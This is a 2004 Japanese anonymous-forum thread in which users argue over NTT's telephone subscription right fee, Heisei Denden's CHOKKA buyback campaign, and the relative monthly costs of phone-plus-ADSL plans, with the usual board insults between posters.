04/11/18 22:37:55ID:vjUuRPHR0504名無しさんに接続中…
04/11/23 21:31:17ID:/Ghzdhu5一旦半額にするというのは、うやむやにするための一手
ではないか？
消費者からの「我々が払った72000円は…」という声を
煙に巻く目的で「36000円で契約した方もおられますよ」
とか言うためにも、そして「72000円分の割引」を主張
された際に「36000円しか払ってない人もいるから対応
出来ない」とか言って誤魔化すためにも、一旦半額に
するのだろう。
その先に見据えているのは「一瞬にして廃止」する事だ。
0505名無しさんに接続中…
04/11/24 08:24:54ID:jbKiNS7q返せとか言っているヤツ、アフォ？
0506名無しさんに接続中…
04/11/24 10:53:30ID:pyLBvOH80507名無しさんに接続中…
04/11/24 13:05:39ID:jbKiNS7q元々返して貰えない前提で払った金を返せと主張する乞食さんですか？
0508名無しさんに接続中…
04/11/24 14:24:59ID:gmQ/A5hvキモーーーい
0509名無しさんに接続中…
04/11/24 17:07:16ID:jbKiNS7q貧乏にめげないあなた、ステキですね
0510名無しさんに接続中…
04/11/24 18:01:36ID:haTcTQ27507 ：名無しさんに接続中… ：04/11/24 13:05:39 ID:jbKiNS7q
509 ：名無しさんに接続中… ：04/11/24 17:07:16 ID:jbKiNS7q
この人は何故こんなに必死なんですか？
0511名無しさんに接続中…
04/11/24 18:23:28ID:5SxYuJcc金返せとか言っているヤツ、キモい。そんなヒマあったらハローワークに
でも行って職探せ。
0512犯罪者の論理ｗ
04/11/24 18:49:05ID:4jExD5yx金返せとか言っているヤツ、キモい。そんなヒマあったらハローワークに
でも行って職探せ。
0513名無しさんに接続中…
04/11/24 19:05:32ID:5SxYuJccムリがある、もっとマシなの考えろ
0514名無しさんに接続中…
04/11/24 20:47:20ID:QuvPVE7Oって書いて勧誘してたね
0515名無しさんに接続中…
04/11/24 20:50:10ID:QveRIWTLそのパンフレットが手元に有るならNTTを訴えろ
面白そうだな
0516名無しさんに接続中…
04/11/24 22:16:39ID:3TDNzdC9かわいそうな奴だ
0517名無しさんに接続中…
04/11/24 22:35:54ID:5SxYuJccウソツキはけーん
0518名無しさんに接続中…
04/11/24 22:43:53ID:vjERk1uj513
517
ID:5SxYuJcc＝粘着質
0519名無しさんに接続中…
04/11/24 22:46:17ID:of2fYfn+511 名前：名無しさんに接続中…[] 投稿日：04/11/24(水) 18:23:28 ID:5SxYuJcc
513 名前：名無しさんに接続中…[sage] 投稿日：04/11/24(水) 19:05:32 ID:5SxYuJcc
517 名前：名無しさんに接続中…[] 投稿日：04/11/24(水) 22:35:54 ID:5SxYuJcc
この人は何故こんなに必死なんですか？
0520名無しさんに接続中…
04/11/24 22:48:33ID:5SxYuJccこちらの必死さは華麗にスルーしてください
0521名無しさんに接続中…
04/11/24 22:49:28ID:i3fkCY0X0522名無しさんに接続中…
04/11/24 22:50:34ID:5SxYuJcc>「一生価値が変わらない財産」 って書いて勧誘してた
ソースは？
0523名無しさんに接続中…
04/11/24 22:52:20ID:8bgPFsAZID:5SxYuJccは恥ずかしい奴だなーー
よって晒しage
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓君の必死さが大好きさ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
0524名無しさんに接続中…
04/11/24 22:53:56ID:5SxYuJccいや、自分でageているから気にせんでくれ。
0525名無しさんに接続中…
04/11/24 22:57:26ID:Nd9CsGdy0526名無しさんに接続中…
04/11/24 22:58:15ID:5SxYuJccどうせKDDIとかの参入で価値がなくなるものが値下げ(最終的にはゼロ？)
されることにこれほど必死になって抵抗するヤツ、そんなに金に
困っているのか？
そんなおまいらへのお勧めは
物凄い勢いで誰かが金を貸してくれるスレ 18人目
http://life5.2ch.net/test/read.cgi/credit/1097152493/l50
0527名無しさんに接続中…
04/11/24 22:59:21ID:Nd9CsGdy0528名無しさんに接続中…
04/11/24 23:00:44ID:5SxYuJcc【ｺﾏｯﾀﾄｷﾊ】金を貸すスレ￥年利20％以内【ｵﾀｶﾞｲｻﾏ】
http://life5.2ch.net/test/read.cgi/credit/1085440939/l50
0529名無しさんに接続中…
04/11/24 23:01:27ID:5SxYuJcc自己破産者や金融事故者にも融資するところパート６
http://life5.2ch.net/test/read.cgi/credit/1096648567/l50
0530名無しさんに接続中…
04/11/24 23:04:51ID:4FWixoeG0531名無しさんに接続中…
04/11/24 23:12:27ID:5SxYuJcc価値はそれ以下、業者に売れるとしても買い取り価格はタダ同然だね。
0532名無しさんに接続中…
04/11/24 23:30:09ID:5SxYuJcc0533名無しさんに接続中…
04/11/24 23:53:47ID:4jExD5yx0534名無しさんに接続中…
04/11/25 00:23:21ID:UhPzDafHコストのかかるパルス回線が安くて、プッシュ回線を高くしたその態度に腹が立つ。
結局KDDIやYAHOOが無料にするまで改善しなかった。
やればできたのに。
顧客を何だと思ってるんだ？
0535名無しさんに接続中…
04/11/25 00:46:09ID:H34Mh14j逆さにして振ったら悲鳴を上げながらカネを出す打ち出の小槌。
天井から吊るしてボカボカ殴ったら悲鳴を上げながらカネを出すサンドバッグ。
請求書でド突けばどんなに苦しくても悲鳴を上げながらカネを出す奴隷。
そもそも、やればできるとか顧客とかいう発想は無い。
自分のやることが社会のルールだと勘違いしている基地害皇帝だよ。
スマートに言うと独占企業の弊害。
0536名無しさんに接続中…
04/11/25 08:19:11ID:SjCwT1j3プッシュ回線契約なんて金持ちとアフォ以外はしなかっただろうから
問題ないだろ。
0537名無しさんに接続中…
04/11/25 08:26:12ID:SjCwT1j3独占状態の企業が利益追求に走るのは当然。それをしなければ
株主、従業員に対する裏切り行為。
民間企業の唯一の目的は利益、それ以外はオマケ。だから
競合が現れて初めて値下げするNTTのやり方は正しい。
0538名無しさんに接続中…
04/11/25 16:15:51ID:H34Mh14jそういう論理で社会に対する裏切り行為をやっているのかいｗ
まるで昔のソ連共産党的発想だな。
資本主義国では独占による過大利益は反社会的行為として会社自体を潰されるんだよ。
0539名無しさんに接続中…
04/11/25 17:19:44ID:SjCwT1j3規制するのは行政の役目、その枠の中で利益を追求するのは
企業として正当。企業が自主的に一見自社の利益に反することを
行うとしたら、それは長期的視野での利益の確保が理由。
君はボランティア精神で社会に貢献してくれ。君が放棄する加入権は
きっと回り回って誰かの役に立つよ。
0540名無しさんに接続中…
04/11/25 17:40:58ID:H34Mh14j規制を利用して美味い汁を吸ってきたのに冷たい奴だな。
オマエは法律で禁止されてなければ強盗殺人強姦麻薬と利益のためなら何でもするんだろう。
他人の財産を盗っても平気で居直る犯罪者だから当然かｗ
0541名無しさんに接続中…
04/11/25 17:53:08ID:SjCwT1j3法律ってのはね、集団で互いに補い合って生活するためのルールなんだよ。
法律を守る、法律がおかしければ直す、これでいいんだよ。
>オマエは法律で禁止されてなければ強盗殺人強姦麻薬と利益のためなら何でもするんだろう。
>他人の財産を盗っても平気で居直る犯罪者だから当然かｗ
法律で禁止されてなければやっても犯罪者じゃないだろ。頭悪いね。
0542名無しさんに接続中…
04/11/25 17:56:57ID:SjCwT1j3>他人の財産を盗っても平気で居直る犯罪者だから当然かｗ
俺、いつ他人の財産を盗った？
0543名無しさんに接続中…
04/11/25 18:03:43ID:YPFWStiG0544名無しさんに接続中…
04/11/25 18:07:54ID:SjCwT1j3君には負けるよ
煽りだけじゃなんだから、自分なりの意見を書いてみたら？
0545名無しさんに接続中…
04/11/25 22:47:21ID:LZakUm3mようやく普通の粘着に戻りつつあるな。
昨日のおまえは本当にみっともなかったな。
正直言ってかわいそうだったよ。」
ところで、おまえのは「意見」じゃなくて、
き べ ん 詭弁だよ。
0546名無しさんに接続中…
04/11/25 23:17:50ID:2/5eEKXBttp://hyper10.amuser-net.ne.jp/~auto/b3/usr/azumi/brd1/bbs.cgi
0547名無しさんに接続中…
04/11/25 23:46:08ID:V1zNx0FB俺の書き込みを詭弁だと言うのはいいんだけど、具体的に指摘しないと
低レベルな煽りになっちゃうぞ。
0548名無しさんに接続中…
04/11/26 06:40:23ID:zgbcqY7Kﾜﾛﾀ!
0549名無しさんに接続中…
04/11/26 10:01:53ID:YeI9yyio電話加入権の値下げ、基本料の引き下げ、プッシュ使用料の無料化、
遅すぎだとは思うがNTT良くやった
0550名無しさんに接続中…
04/11/26 13:31:21ID:2RVpFdE7電話加入権・・・値下げと称してとっくに不要なものを36000円も巻き上げる気だ。
基本料・・・引き下げと称して雀の涙の金額で決着したつもり。
プッシュ使用料・・・とっくに無料化できるものだし今後も50円の差をつけている。
ナンバーディスプレイでは相変わらず高額な料金をボッタ栗だぜｗ
遅すぎる上に小出しにして恩着せがましいのはさすがNTT
0551名無しさんに接続中…
04/11/26 22:34:37ID:D0vCfbB1>おとくラインが工事費6,300円だから、これがサービス開始になった時点で
>価値はそれ以下、業者に売れるとしても買い取り価格はタダ同然だね。
＜平成電電＞電話加入権 最大３万７８００円で買い取りへ
通信ベンチャーの平成電電は２６日、同社の固定電話サービス「ＣＨＯＫＫＡ」（チョッカ）
の加入者から、ＮＴＴの電話加入権を最大３万７８００円で買い取るキャンペーンを１２月１日
に始めると発表した。
24日の書き込みから丸2日経ってないんですが？
こんな間抜けな書き込み初めて見たよ
笑わせてくれてありがとう
あなた、
もしかして、プロのお笑い芸人ですか？
0552名無しさんに接続中…
04/11/26 22:55:26ID:dqyB0ryvID:5SxYuJcc＝ID:V1zNx0FB
↑↑↑↑↑↑↑↑↑↑↑↑
NTT工作員のキモヲタキチガイ何処逝った～～～～ｗ
0553名無しさんに接続中…
04/11/27 00:28:47ID:79Emf6f90554名無しさんに接続中…
04/11/27 00:43:06ID:yQyA6X2j書き込み、早まっちゃったねw
12/1以降に"ごめんなさい"ってちゃんと謝罪してね！
0555名無しさんに接続中…
04/11/27 01:18:32ID:T714tcHm0556名無しさんに接続中…
04/11/27 02:15:33ID:oVJwIHeIだったら平成電電の年払プランに申し込んで激安にできるな・・。
0557名無しさんに接続中…
04/11/27 10:04:38ID:yQyA6X2j>最高36,000円で平成電電が買取いたします。詳細につきましては後日発表いたします。
ポイントは"所定の条件で3年以上"ってとこだね。"わーい、買い取ってくれるぞー"なんて大喜びしているヤツ、
あせらず正式発表を待つべし。
0558名無しさんに接続中…
04/11/27 10:07:19ID:yQyA6X2j"所定の条件で3年以上の契約で最高36000円"でキャンペーンの内容が見えてくるだろ？
0559名無しさんに接続中…
04/11/27 10:31:23ID:4DiQ+bi5朝からご苦労さん 新しいギャグはまだですか お笑い芸人さん
0560名無しさんに接続中…
04/11/27 10:56:37ID:vPCLvEiS＞ＡＤＳＬ（非対称デジタル加入者線）などで月額４０００円程度の利用があれば、
＞３万７８００円で買い取るという。
月額4000円程度の利用であれば
回線基本料＋ADSLで考えると業界で一番安いんじゃない？
0561名無しさんに接続中…
04/11/27 12:20:13ID:Ty5IubY4未だに負担金ふっかけてくる糞会社と
僅かでも買い取ってくれる会社とえれー違いだよ
0562名無しさんに接続中…
04/11/27 12:24:18ID:6SKy0xV4↑↑↑↑↑↑↑↑↑↑↑↑
本日のNTT工作員キモヲタキチガイのIDｗ
0563名無しさんに接続中…
04/11/27 12:32:05ID:FkQSJHL/「なるほど」っていうのも無けりゃ
「おもろい」っていうのもない
みんなが見てるんだからもう少し頭を使えよ
0564名無しさんに接続中…
04/11/27 12:43:42ID:dt+woTVq>おとくラインでＡＤＳＬってできるんですか？？
>だったら平成電電の年払プランに申し込んで激安にできるな・・。
お得ライン＝日本テレコム
CHOKKA ＝平成電電
今のところ電話会社の提供しているADSLしか利用できない
お得ラインなら yahoo
CHOKKAなら CHOKKAまるごとインターネット
というADSLサービス
CHOKKAまるごとインターネットは電話+ADSLで4100円で安い
通常のADSLはNTTに電話基本料1800+ADSL4000円で役6000円の支払いになる
毎月2000円近く安くなる計算
0565２０世紀のめたりっくユーザ
04/11/27 13:35:25ID:TD+78DYp思い出せ、ADSL妨害の日々を！忘れるな、ISDNのペテンを！
今でも全開で腹立つなぁ、まったく。 死ね！
0566名無しさんに接続中…
04/11/27 22:41:39ID:5Fqba7qc平成電電の加入権買取についてまとめると、
・CHOKKA加入必須
・買い取り価格
法人 36000円固定（着信専門回線等を除く）
個人 サービス利用実績による（例：ADSL加入で36000円）
・最低3年の契約
・基本料・価格
法人 2,350円 配線保守料金60円 （基本プラン 税抜）
個人 1,690円 配線保守料金60円 （基本プラン 税抜）
・直収型電話につきマイラインはいらない
・プッシュ回線利用料は無料(12月1日より？）
○オプション
・インターネット
個人2410円（ADSL(12M)接続料 モデムレンタル料 プロバイダ料金 12月1日より？）
他、より安価なモデム非レンタルやプロバイダ選択するコース等がある模様
・かけ放題
CHOKKA同士の電話でかけ放題 個人\300 法人\600
・他 ナンバーディスプレー、キャッチホン、非通知等がある模様
※税については銭単位の価格が発生しており扱いがわからないので税抜価格とした
あと訂正個所あるかも
0567名無しさんに接続中…
04/11/28 00:34:44ID:u5RVB2eqしかも3年縛りだもんなあ。"買い取り"は単なる話題作りで実態は
"3年縛りにすると月額500円割引きます"だね。
0568名無しさんに接続中…
04/11/28 00:40:19ID:cjq7x+wMしつこい野郎だな
NTTには真似はできないだろ
0569名無しさんに接続中…
04/11/28 01:11:13ID:LqdIUAffあと、値上げはインターネット関連みたいだね。
0570名無しさんに接続中…
04/11/28 09:04:29ID:u5RVB2eq"加入権をXXXXX円で買ってもキャンペーンを適用させた方が得だ"
と思える金額が加入権の価値。加入権を18,000円で購入したら
3年間で支払う金額は同じで3年縛りの分損のため、加入権の
価値は18,000円未満。
[加入権の価値]＝18,000円－[3年縛りの損]
さてさて、一般の人はいくらと見積もるのかね。
0571名無しさんに接続中…
04/11/28 09:09:49ID:mWe+MMVwこれからNTTには事業拡大路線はとらないで惰性で細々とやっててほしい。
0572名無しさんに接続中…
04/11/28 10:41:32ID:nv50H8l/>36,000円で買い取りとか言って実は3年分で18,000円の値上げをしているし、
>しかも3年縛りだもんなあ。"買い取り"は単なる話題作りで実態は
>"3年縛りにすると月額500円割引きます"だね。
お前相変わらずアフォ丸出しだな。18000円の値上げはＡＤＳＬ月額利用料500円
の36ヶ月分の合計18000円を値上げといっているのだろ？
もともと安いんだから、500円値上げしてもＮＴＴよりはるかに安い
ＮＴＴの電話基本料1700+ＡＤＳＬ3500円(ＯＣＮ１２メガ 3528円)＝5200円
平成電電の電話+ＡＤＳＬ１２メガ ＝4100円
ＮＴＴ電話+ＯＣＮでＡＤＳＬ３年 187200円
平成電電でＡＤＳＬ ３年 147600-36000＝111600円
-75600円
３年間でＮＴＴより75600円お得
>[加入権の価値]＝18,000円－[3年縛りの損]
たかが３年だろ
日本国民は今までいったいどれだけＮＴＴに縛られてきたんだ？
0573名無しさんに接続中…
04/11/28 10:57:31ID:011yca9tＮＴＴに縛られて３０年以上経つので
ＮＴＴには３６０００円の１０倍
３６万円請求しないといけないなぁ～～
0574名無しさんに接続中…
04/11/28 11:18:14ID:PyDz9kJC回線使用料(基本料） 1,750円
フレッツＡＤＳＬモア(12Mタイプ)2,700円
OCN ADSL 「フレッツ」 1,950円
計6,400円
電話+ＡＤＳＬサービス+ＩＳＰサービスを平成電電関連でそろえると
計4,100円
0575名無しさんに接続中…
04/11/28 11:24:36ID:LfC1lNfx↑↑↑↑↑↑
本日のNTT工作員キモヲタキチガイのIDｗ
0576名無しさんに接続中…
04/11/28 11:29:10ID:CtIOBE/PADSLサービス料 1,190円
ISPサービス料1,290円
モデムレンタル料890円
NTT ADSL回線使用料 （NTT東日本） 158円
計3,528円＋NTT基本料（1700円）＝5228円
0577名無しさんに接続中…
04/11/28 22:58:06ID:dgXQnB09ひとつ教えて欲しいのですが、計3,528円＋NTT基本料（1700円）＝5228円
のNTT基本料（1700円）は必須なんですか？
今私はYahoo! BB 8M＋ＢＢフォンですが、NTT基本料がもったいないので、
休止したいのですが、これは無理なんでしょうか？
050だけの番号でもOKですよね？
0578名無しさんに接続中…
04/11/28 23:15:51ID:0eVGeFrXNTT基本料払わない場合、
Yahoo! BB 12M 月額合計5,120円（税込 5,374円）
Yahoo! BB 8M 月額合計4,720円（税込 4,954円）
１００円くらい安くなるよ。
0579名無しさんに接続中…
04/11/29 00:10:46ID:Ddkgs8o4加入権を返すよりもこういった形でユーザーに還元する、ということか。
ホームタイプ
NTT東日本 5,040円
NTT西日本 4,379円
マンションタイプ
NTT東日本 1,733円
NTT西日本 1,565円
※初期費用はキャンペーンにより無料となります。
tp://www.nifty.com/setsuzoku/bflets/
0580名無しさんに接続中…
04/11/29 00:34:42ID:SRyG+ceP計算ご苦労、しかしあまり意味ないな。
[CHOKKA月額3,600円を良いと思った人]
多くはCHOKKAに加入している。CHOKKAにすでに加入している人にとっては
3年で18,000円の値上げで3年縛り＆36,000円のバック。
[CHOKKA月額3,600円を良いと思わない人]
当然CHOKKA以外を利用している。3,600円でも加入していないのに3年間で
18,000円の値上げ、しかし3年縛り＆36,000円のバック。
いずれにせよ、今回のキャンペーンでは3年縛り＆18,000円。
お前、まさにCHOKKAの思うつぼ。NTTに対して怒るあまり冷静に判断できていない。
0581名無しさんに接続中…
04/11/29 00:50:35ID:SRyG+cePそんな状況で3年しばりのADSLを契約するのはある意味勇者だな。
またはとにかく今すぐ(2ヶ月以内？)現金36,000円を必要としているか。
0582名無しさんに接続中…
04/11/29 01:49:09ID:NBEiU+RU平成電電の認知度って全然ないだろ。街頭アンケート100人に聞いて
ＮＴＴ95～100％ 平成電電0～20％だろ。
しかもテレビＣＭは10/1から始まったばかりだぞ。
関心のない人は知らないのに
[CHOKKA月額3,600円を良いと思った人]
[CHOKKA月額3,600円を良いと思わない人]
と２パターンで説明しているがナンセンスも甚だしい。
知りもしないのに良いも悪いも判断できないだろ。
>書き込み、早まっちゃったねw
>12/1以降に"ごめんなさい"ってちゃんと謝罪してね！
>ポイントは"所定の条件で3年以上"ってとこだね。"わーい、買い取ってくれるぞー"なんて大喜びしているヤツ、
>あせらず正式発表を待つべし。
今日はまだ【12/1以前】だが、お前の言う【正式発表を待つ】はどこへ行ったんだ？
何か都合でも悪いかのように、その点に全く触れないのは何故なんだろうね？
>おとくラインが工事費6,300円だから、これがサービス開始になった時点で
>価値はそれ以下、業者に売れるとしても買い取り価格はタダ同然だね。
この事にも全く触れないけど、何か都合でも悪いんですか？
>お前、まさにCHOKKAの思うつぼ。NTTに対して怒るあまり冷静に判断できていない。
それを言うなら 平成電電の思うつぼ 冷静に判断して文章書いてくださいね。
0583名無しさんに接続中…
04/11/29 02:24:24ID:SRyG+cePあのね、CHOKKAを知らない人にとってはCHOKKAは論外なんだよ。
今までロクに聞いたこともない会社のサービスで3年縛りだぞ。
一般人の反応は"安かろう悪かろうだろ。いくら安くても使えない"で終わり。
インターネット接続だけならともかく固定電話を含むからね。
それとも、"CHOKKAはみんな知らないが平成電電は知名度も信頼度も高い"
なんて言い出すのか？
正式発表は12/1だと思っていた。そこは俺の勘違い。
それで、お前は現状を踏まえて加入権の実質的な価値をいくらだと考えているんだ？
買取り価格：3000円程度(個人売買ならもうちょっと高いだろうね)
加入権を持っていない場合：持っていなくても6300円(分割払い)でKDDI等でOK
CHOKKAで買取り：3年縛り等を踏まえてXXXX円相当と考えることができる
加入権の実質的な価値を判断する基準は現在は上記3パターンくらいだと思うが。
俺はCHOKKAにするなら他を(KDDIか?)使うので、今のところ6300円かな。
ところで、お前はCHOKKAを使っているのか？それとも"CHOKKAは知らなかった"のか？
まさか、"CHOKKAを知っていたが使っていない"じゃないだろ？
0584名無しさんに接続中…
04/11/29 06:47:24ID:G4FP3GwZ＞CHOKKAは論外・今までロクに聞いたこともない会社のサービスで3年縛り
＞一般人の反応は"安かろう悪かろうだろ。いくら安くても使えない"で終わり。
＞"CHOKKAはみんな知らないが平成電電は知名度も信頼度も高い"
使ったことが無い者こそ論外なんて決め付けたらイカンだろ。結果すら出てないんだし。
東メタやYAHOOBBなんつーのも、知名度がなかったり安かろう~だったが、
新サービス普及に一役買ったり、NTT独占に風穴を空けたのは事実だ。
ぽっと出のベンチャーだから全否定というのなら、それこそ論外。
CHOKKAにも他社の競争相手としてこれから期待すればいい話じゃないのかね？
何ゆえ、端から否定的なのか知らんが、あまりにも露骨なネガティブキャンペーンを張らない方がいいと思うよ。
平成電電とCHOKKAに関しては、信頼度はともかく
あのキャンペーンで知名度は上がったよ。
NHKはもとより民放各社、日経から地方紙まで載ったから。
0585名無しさんに接続中…
04/11/29 07:57:07ID:SRyG+cePちょっと遡って話の流れをきちんとつかんでからにしてくれ。おまいさんが引用した部分は
"世間一般の大部分の反応はそうだろう"、ということで書いただけだ。
0586名無しさんに接続中…
04/11/29 08:00:36ID:SRyG+ceP俺が話題にしているのはNTT加入権の話で、CHOKKAが出てきているのは
"CHOKKAのキャンペーンが加入権の実質的価値にどう影響を与えるか"
ということについてだ。
0587名無しさんに接続中…
04/11/29 08:16:14ID:9XkQakejプラン1： 同一の集合住宅またはビル単位に8件以上の契約が見込める場合、1件からお申し込み可能
プラン2： 同一の集合住宅またはビル単位に16件以上の契約ができる場合、代表者から一括申し込み可能
0588名無しさんに接続中…
04/11/29 08:25:34ID:G4FP3GwZんだから”世間一般の大部分の反応”という実体の無いものは
結果を見るまでわかりゃーせんということ。
貴殿の言うこと＝世間一般ではありえないのだから。
別に平成電々社員じゃないが、こき下ろし方がひどいので書いた。
まーあとは好きにしてくれ。
0589名無しさんに接続中…
04/11/29 08:44:49ID:SRyG+cePCHOKKAの買い取りキャンペーンによって加入権の実質的価値は
あがったか、上がったならどれくらいの価値があるのか、という話なんだよ。
>>572,580
辺りは読んで理解していての書き込みか？俺は今回のキャンペーンが"買い取り"ではなく、
実態は"月500円の値上げ＆36000円のキャッシュバック＆3年縛り"だと言っているだけだ。
それを"いや、CHOKKAは元々安いんだ、月500円の値上げをしても安い"と言って
値上げを大したことない事かのようにスルーさせようという書き込みを"それは違うだろ"
と言っている。その過程で生じた書き込みの一部を引用された、ってことだ。
0590名無しさんに接続中…
04/11/29 08:55:40ID:v230eCKn上のほうで思いっきり直下について評価してるじゃん
というか、評価してるからこそ直下を切り捨ててるんじゃないのか
基本料やネットサービスを含め通信について多種の話が出ているので
このスレが自分ひとりの思い通りになるなんて思わない方がいい
0591名無しさんに接続中…
04/11/29 10:37:33ID:N6SF5L0C↑↑↑↑↑↑
本日のNTT工作員キモヲタキチガイのIDｗ
0592名無しさんに接続中…
04/11/29 16:59:43ID:oa+H3uqZ乗っかるのがお得か考えると
36000-10000で26000円のバックで月額4305円の3年しばり。
26000円は6ヶ月相当分だから実質は
"最初の6ヶ月無料3年しばり電話&ADSLで月額4305円"
これがお得だと思うならば加入権には10000円以上の価値があるね。
FTTHマンションタイプユーザーには魅力はないだろう(FTTH+VoIPの方が
安い)が、FTTHマンションタイプが選択できないユーザーにとっては魅力的かな？
0593名無しさんに接続中…
04/11/29 20:58:09ID:opCdpVjRでもって NTT 解散
が一番いいと思う
0594名無しさんに接続中…
04/11/29 22:20:57ID:bA4Z7Nvd>>12/1以降に"ごめんなさい"ってちゃんと謝罪してね！
>正式発表は12/1だと思っていた。そこは俺の勘違い。
人に謝罪まで要求して、たったそれだけ？
人にはリスクを要求して、自分は何のリスクを犯さないその態度。
このスレで叩かれているＮＴＴの悪しき体質にそっくりだな。
そういうのを厚顔って言うんだよ。
>>おとくラインが工事費6,300円だから、これがサービス開始になった時点で
>>価値はそれ以下、業者に売れるとしても買い取り価格はタダ同然だね。
>買取り価格：3000円程度(個人売買ならもうちょっと高いだろうね)
>加入権を持っていない場合：持っていなくても6300円(分割払い)でKDDI等でOK
>CHOKKAで買取り：3年縛り等を踏まえてXXXX円相当と考えることができる
さも分かったように、ただ同然と大口叩いておきながら、条件付とはいえ36000円で
買い取る業者が登場したのに自分の非を認めずスルーして
『それで、お前は現状を踏まえて加入権の実質的な価値をいくらだと考えているんだ？』
と話をすり替えている。結局お前の言ってた事は正しいのか？
あそこまで威勢よく言ってまさか、
あの時とは状況が変わった とか言い訳しないよな？
３振してもバッターボックスに居座っちゃうようなバッター相手じゃ、投球する気も失うよ。
バイバイ
0595名無しさんに接続中…
04/11/29 22:34:37ID:Ddkgs8o4>条件付とはいえ36000円で
その条件と18000円の値上げが36000円を目減りさせるんだよ。
目減りして残る価値はいくらなのかが問題。そこは無視して36000円という
部分だけ必死に主張するのは何か意図があるのかい？
文章は長いが、ようは"敗北宣言"だね。
バイバイ！
0596名無しさんに接続中…
04/11/29 22:42:38ID:Yr/RBJwp0597名無しさんに接続中…
04/11/29 22:44:43ID:Ddkgs8o4NTTに比べてマシかどうかの話ではないんだよ。
"懲りずにまた企業に騙されるんですか？"
って話。すべて分かってCHOKKAを選ぶなら問題ない。
0598名無しさんに接続中…
04/11/29 22:46:24ID:Yr/RBJwpCHOKKA ｸﾜｼｸ！
0599名無しさんに接続中…
04/11/29 22:49:34ID:jIA/5FMf今18000円で加入権買い取ってくれるところないだろ
0600名無しさんに接続中…
04/11/29 22:52:46ID:/axDWdXE＾ ＾
また って、あんた・・・
0601名無しさんに接続中…
04/11/29 22:57:12ID:Ddkgs8o4だから、事情が全部分かった上でCHOKKAのキャンペーンに乗るなら問題ない。
平成電電は3年分で18000円の値上げをした
加入者には3年縛りをする
加入権はすぐ(加入後2ヶ月程度？)に振り込んでくれる
これらを全て理解した上でキャンペーンに乗るなら問題ない。
"36000円で買取ります"という部分ばかりに目がいくとキャンペーンの本質を
見誤るってこと。
>>600
勘違いしているかもしれんが、俺はNTTとは無関係だよ。別スレでは"Bフレッツを使うなら
固定電話やめてVoIPにしちゃえば？"なんて書き込みもしている。ちょっと
遊びでNTT信者を匂わせたかもしれんが、そろそろこの話題にも飽きてきた。
0602601
04/11/29 22:57:56ID:Ddkgs8o4○加入権の買取り代金36000円は
0603594
04/11/29 23:01:24ID:PEUZO4Uv>その条件と18000円の値上げが36000円を目減りさせるんだよ。
18000円の値上げって何だよ？ＡＤＳＬ利用者だけの話だろ。
電話だけ利用の客には月額4000円程度の客も36000円の買取の対象だぞ。
0604601
04/11/29 23:02:22ID:Ddkgs8o4単なる"3年縛りキャンペーン"よりは条件を良くしているかもしれない。
加入権買取りという単語を使ったのはかなりうまい手法だと思う。
0605名無しさんに接続中…
04/11/29 23:11:46ID:Ddkgs8o4あのね、平成電電は"買取る"のではなく"買取るという名目のキャンペーンを行なう"んだよ。
>買い取った電話加入権を資産計上するのかという点については「電話加入権の資産計上自体が面白いテーマで、
>そもそも価値として認められるのかがわからない」とコメント。
と、平成電電の社長自体が"加入権に価値があるか疑問"ととれる発言をしている。
にも関わらず36000円で買取る意図は
"加入権買取りキャンペーン"という名目での宣伝効果
3年しばりによる中期的な顧客確保
18000円分の値上げ
で平成電電は損をしないだろうという計算があるってこと。
0606594
04/11/29 23:33:22ID:PEUZO4Uvttp://www.sankei.co.jp/news/041127/morning/27kei002.htm
ttp://www.asahi.com/business/update/1126/109.html
ttp://bb.watch.impress.co.jp/cda/news/7600.html
ttp://bb.watch.impress.co.jp/cda/news/7600.html
4000円の利用料なんて普通に使うから、利用者に求められる条件は３年縛りだけ。
0607名無しさんに接続中…
04/11/29 23:46:53ID:Ddkgs8o4いまいち的外れな回答になっていたな。
電話だけ利用で月額4000円を超えるって、大部分企業だろうし、企業でなくても
それだけ利用するなら回線品質がNTTの加入電話よりも悪い場合の影響は大きい。
その場合は値上げ分の18000円は存在しないが、
加入権の実質的価値＝36000円-[3年しばり]-[回線品質による損]
となる。平成電電について"数時間電話が使えなくなった"といった書き込みを読んだことがある。
知り合いの会社が平成電電にしてみたが数ヵ月後に聞いたら"おおいばりで社内提案したが
フタをあけたらトラブル続きで立場ない"とグチをこぼしていた(レアケースなのかは不明だが
直接本人から聞いた話)。
こういったトラブルの頻度は不明だが、NTT加入電話よりは多いだろう。
で、やっぱり"価値は目減りしていき、いくらの価値が残ると考えるか"となる。
0608名無しさんに接続中…
04/11/30 00:20:32ID:bFYgLIOR３年でトラブル0かもしれないし、10回かもしれない。
ただし、通話不能で36000円分の損害を受ける事が、一体どれだけあるだろうか？
携帯がこれだけ普及した世の中でＣＨＯＫＫＡが通話不能になったとしても、自分の携帯、
友人の携帯、公衆、隣人の電話を借りるだけで事で埋め合わせできない損害とは一体どんな事だ？
(企業には死活問題だろうが)
まるでＣＨＯＫＫＡはトラブルあって当然のサービスのように書いてしまったが、
大多数の客は何の不満もなく使えるだろうよ。解約するにしても違約金が
36000円を上回ることは企業倫理として、ありえないだろうから、数ヶ月様子を見て
36000円は取っておいて解約しても、それをそのまま返せばいいだけ。ただし、おとくライン
、ＫＤＤＩが対応策でより良い条件を提供する可能性もあるので、いまは戦況を見る時期だな。
0609594&608
04/11/30 00:59:56ID:bFYgLIOR0610名無しさんに接続中…
04/11/30 01:11:58ID:eTlPBNT7いっぱいあるみたいだけど。
無料なら、別にいらなくなったら解除すればいいだけだから
お得かなあ。
0611名無しさんに接続中…
04/11/30 09:38:04ID:F0TX5j2U例えばだがtp://yg.to/を見ると
この業者に加入権を売ると2,160円
この業者から加入権を買うと9,800円
無条件で加入権をくれる、なんてまずありえないだろ。あったら
俺ならもらってすぐに2,160円で売る、を繰り返す。
じゃあ、"無料です"と業者が言っているなら、無料でくれることで
その業者はどんな利益があるのか、業者の利益が自分の不利益に
つながらないか、想定される不利益が許容範囲か、考えれば
答えは出るだろ。
0612名無しさんに接続中…
04/11/30 10:05:19ID:eTlPBNT7もちろん権利だけを無料でくれるんではなく、なんらかの
ＡＤＳＬとセットで申し込む必要がありますです。
ちょうど引っ越すんで、それは問題ないんだけど・・・でもなんか
悩む。
0613名無しさんに接続中…
04/11/30 10:27:02ID:F0TX5j2U現在はどんな環境(電話＆ネット)なんだ？一人暮らしを始めるとか？
一人暮らしなら、まずNTT固定電話は不必要。VoIPがあれば十分。
なので、FTTHマンションタイプ＆VoIPが選べるならそれにするべし。
(携帯持っていること前提)
0614612
04/11/30 11:34:18ID:eTlPBNT7一人暮らしを来月から始めるんです。
